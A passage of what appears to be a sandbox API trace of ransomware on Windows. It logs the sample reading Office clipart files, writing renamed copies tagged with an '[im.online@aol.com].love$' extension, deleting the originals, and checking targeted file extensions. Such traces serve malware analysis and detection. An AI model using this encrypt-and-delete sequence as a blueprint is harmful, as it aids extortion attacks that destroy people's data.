lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4628) returned 1 [0273.493] CloseHandle (hObject=0x488) returned 1 [0273.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 0x220 [0273.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0273.494] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.495] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0273.496] GetLastError () returned 0x0 [0273.496] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x1214, lpOverlapped=0x0) returned 1 [0273.499] WriteFile (in: hFile=0x4c8, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1220, lpOverlapped=0x0) returned 1 [0273.500] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0273.501] WriteFile (in: hFile=0x4c8, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0273.501] SetEndOfFile (hFile=0x4c8) returned 1 [0273.501] CloseHandle (hObject=0x4c8) returned 1 [0273.501] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.501] SetEndOfFile (hFile=0x488) returned 1 [0273.504] CloseHandle (hObject=0x488) returned 1 [0273.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0273.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0273.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0273.509] lstrlenW (lpString=".doc") returned 4 [0273.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.509] lstrlenW (lpString=".docx") returned 5 [0273.509] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0273.509] lstrlenW (lpString=".pdf") returned 4 [0273.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.509] lstrlenW (lpString=".xls") returned 4 [0273.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.509] lstrlenW (lpString=".xlsx") returned 5 [0273.509] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0273.509] lstrlenW (lpString=".ppt") returned 4 [0273.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0273.509] lstrlenW (lpString=".zip") returned 4 [0273.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.510] lstrlenW (lpString=".rar") returned 4 [0273.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.510] lstrlenW (lpString=".bz2") returned 4 [0273.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.510] lstrlenW (lpString=".7z") returned 3 [0273.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0273.510] lstrlenW (lpString=".dbf") returned 4 [0273.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0273.510] lstrlenW (lpString=".1cd") returned 4 [0273.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0273.510] lstrlenW (lpString=".jpg") returned 4 [0273.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0273.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0273.510] lstrlenW (lpString=".doc") returned 4 [0273.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.510] lstrlenW (lpString=".docx") returned 5 [0273.510] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0273.511] lstrlenW (lpString=".pdf") returned 4 [0273.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.511] lstrlenW (lpString=".xls") returned 4 [0273.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.511] lstrlenW (lpString=".xlsx") returned 5 [0273.511] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0273.511] lstrlenW (lpString=".ppt") returned 4 [0273.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0273.511] lstrlenW (lpString=".zip") returned 4 [0273.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.511] lstrlenW (lpString=".rar") returned 4 [0273.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.511] lstrlenW (lpString=".bz2") returned 4 [0273.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.511] lstrlenW (lpString=".7z") returned 3 [0273.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0273.511] lstrlenW (lpString=".dbf") returned 4 [0273.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0273.512] lstrlenW (lpString=".1cd") returned 4 [0273.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0273.512] lstrlenW (lpString=".jpg") returned 4 [0273.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.512] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.512] lstrlenW (lpString="J0105276.WMF") returned 12 [0273.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0273.513] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=19240) returned 1 [0273.514] CloseHandle (hObject=0x488) returned 1 [0273.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 0x220 [0273.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0273.515] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.515] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0273.517] GetLastError () returned 0x0 [0273.517] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x4b28, lpOverlapped=0x0) returned 1 [0273.519] WriteFile (in: hFile=0x4c8, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x4b30, lpOverlapped=0x0) returned 1 [0273.521] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0273.521] WriteFile (in: hFile=0x4c8, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0273.521] SetEndOfFile (hFile=0x4c8) returned 1 [0273.521] CloseHandle (hObject=0x4c8) returned 1 [0273.521] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.521] SetEndOfFile (hFile=0x488) returned 1 [0273.526] CloseHandle (hObject=0x488) returned 1 [0273.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0273.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0273.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0273.528] lstrlenW (lpString=".doc") returned 4 [0273.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.528] lstrlenW (lpString=".docx") returned 5 [0273.528] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0273.528] lstrlenW (lpString=".pdf") returned 4 [0273.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.528] lstrlenW (lpString=".xls") returned 4 [0273.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.528] lstrlenW (lpString=".xlsx") returned 5 [0273.528] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0273.528] lstrlenW (lpString=".ppt") returned 4 [0273.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0273.529] lstrlenW (lpString=".zip") returned 4 [0273.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.529] lstrlenW (lpString=".rar") returned 4 [0273.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.529] lstrlenW (lpString=".bz2") returned 4 [0273.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.529] lstrlenW (lpString=".7z") returned 3 [0273.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0273.529] lstrlenW (lpString=".dbf") returned 4 [0273.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0273.529] lstrlenW (lpString=".1cd") returned 4 [0273.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0273.529] lstrlenW (lpString=".jpg") returned 4 [0273.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0273.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0273.529] lstrlenW (lpString=".doc") returned 4 [0273.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.723] lstrlenW (lpString=".docx") returned 5 [0273.723] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0273.723] lstrlenW (lpString=".pdf") returned 4 [0273.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.724] lstrlenW (lpString=".xls") returned 4 [0273.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.724] lstrlenW (lpString=".xlsx") returned 5 [0273.724] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0273.724] lstrlenW (lpString=".ppt") returned 4 [0273.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0273.724] lstrlenW (lpString=".zip") returned 4 [0273.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.724] lstrlenW (lpString=".rar") returned 4 [0273.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.724] lstrlenW (lpString=".bz2") returned 4 [0273.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.724] lstrlenW (lpString=".7z") returned 3 [0273.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0273.724] lstrlenW (lpString=".dbf") returned 4 [0273.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0273.724] lstrlenW (lpString=".1cd") returned 4 [0273.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0273.724] lstrlenW (lpString=".jpg") returned 4 [0273.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.725] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.725] lstrlenW (lpString="J0105288.WMF") returned 12 [0273.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0273.744] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=15832) returned 1 [0273.744] CloseHandle (hObject=0x4e4) returned 1 [0273.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 0x220 [0273.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0273.745] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.745] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0273.747] GetLastError () returned 0x0 [0273.747] ReadFile (in: hFile=0x4e4, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x3dd8, lpOverlapped=0x0) returned 1 [0273.751] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x3de0, lpOverlapped=0x0) returned 1 [0273.752] ReadFile (in: hFile=0x4e4, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0273.752] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0273.752] SetEndOfFile (hFile=0x534) returned 1 [0273.753] CloseHandle (hObject=0x534) returned 1 [0273.753] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.753] SetEndOfFile (hFile=0x4e4) returned 1 [0273.757] CloseHandle (hObject=0x4e4) returned 1 [0273.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.757] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0273.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0273.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0273.759] lstrlenW (lpString=".doc") returned 4 [0273.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.759] lstrlenW (lpString=".docx") returned 5 [0273.759] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0273.759] lstrlenW (lpString=".pdf") returned 4 [0273.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.759] lstrlenW (lpString=".xls") returned 4 [0273.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.760] lstrlenW (lpString=".xlsx") returned 5 [0273.760] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0273.760] lstrlenW (lpString=".ppt") returned 4 [0273.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0273.760] lstrlenW (lpString=".zip") returned 4 [0273.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.760] lstrlenW (lpString=".rar") returned 4 [0273.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.760] lstrlenW (lpString=".bz2") returned 4 [0273.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.760] lstrlenW (lpString=".7z") returned 3 [0273.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0273.760] lstrlenW (lpString=".dbf") returned 4 [0273.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0273.760] lstrlenW (lpString=".1cd") returned 4 [0273.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0273.760] lstrlenW (lpString=".jpg") returned 4 [0273.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0273.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0273.760] lstrlenW (lpString=".doc") returned 4 [0273.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.760] lstrlenW (lpString=".docx") returned 5 [0273.760] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0273.761] lstrlenW (lpString=".pdf") returned 4 [0273.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.761] lstrlenW (lpString=".xls") returned 4 [0273.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.761] lstrlenW (lpString=".xlsx") returned 5 [0273.761] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0273.761] lstrlenW (lpString=".ppt") returned 4 [0273.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0273.761] lstrlenW (lpString=".zip") returned 4 [0273.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.761] lstrlenW (lpString=".rar") returned 4 [0273.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.761] lstrlenW (lpString=".bz2") returned 4 [0273.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.761] lstrlenW (lpString=".7z") returned 3 [0273.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0273.761] lstrlenW (lpString=".dbf") returned 4 [0273.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0273.761] lstrlenW (lpString=".1cd") returned 4 [0273.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0273.761] lstrlenW (lpString=".jpg") returned 4 [0273.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.762] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.762] lstrlenW (lpString="J0105294.WMF") returned 12 [0273.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0273.764] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5504) returned 1 [0273.764] CloseHandle (hObject=0x4e4) returned 1 [0273.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 0x220 [0273.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.764] CreateFileW 